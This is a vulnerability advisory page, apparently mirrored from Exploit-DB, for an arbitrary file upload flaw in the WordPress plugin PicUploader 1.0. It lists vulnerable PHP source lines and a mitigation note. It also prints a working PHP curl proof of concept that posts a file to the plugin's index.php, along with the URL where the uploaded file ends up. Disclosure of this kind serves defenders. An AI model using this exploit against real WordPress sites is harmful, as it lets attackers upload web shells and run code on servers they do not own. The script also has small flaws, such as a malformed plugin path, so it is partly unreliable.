Wordpress Plugin PicUploader 1.0 - Remote File Upload

vendor:

PicUploader

by:

Milad Karimi

7.5

CVSS

HIGH

Remote File Upload

CWE

Product Name: PicUploader

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Windows 10, Firefox

2020

WordPress Plugin PicUploader 1.0 – Remote File Upload

The PicUploader plugin for Wordpress version 1.0 allows remote attackers to upload arbitrary files to the server due to improper handling of file uploads. This can lead to remote code execution or unauthorized access to sensitive information.

Mitigation:

The vendor has not provided a fix or mitigation for this vulnerability. It is recommended to remove the PicUploader plugin from the Wordpress installation or use an alternative plugin with proper file upload handling.

Source

Exploit-DB raw data:

* Exploit Title: Wordpress Plugin PicUploader 1.0 - Remote File Upload
* Google Dork: N/A
* Date: 2020.03.22
* Exploit Author: Milad Karimi
* Vendor Homepage: https://github.com/xiebruce/PicUploader
* Software Link: https://github.com/xiebruce/PicUploader
* Category : webapps
* Version: 1.0
* Tested on: windows 10 , firefox
* CVE : N/A

Vulnerable Source:
    88: move_uploaded_file move_uploaded_file($tmp_name, $dest))
    86: foreach($files['tmp_name'] as $key=>$tmp_name)
    80: $files = $_FILES['file']){
    72: $_FILES['file'] = $_FILES[$plugin];  // if(isset($_FILES)), 
    87: $dest = $tmpDir . '/' . $files['name'][$key]; 
    81: $tmpDir = APP_PATH . '/.tmp'; 
    24: define('APP_PATH', strtr(__DIR__, '\\', '/'));  // define() 
    80: $files = $_FILES['file']){
    72: $_FILES['file'] = $_FILES[$plugin];  // if(isset($_FILES)), 
    80: if(isset($_FILES['file']) && $files = $_FILES['file'])
    84: if(is_array($files['tmp_name']))

Exploit:
<?php
$shahab="file.jpg";
$ch = curl_init("http://localhost/wordpress/wp-content/pluginsPicUploader-master/index.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('zip'=>"@$shahab"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
print "$result";
?>

Location File:
http://localhost/wordpress/wp-content/plugins/PicUploader/file.jpg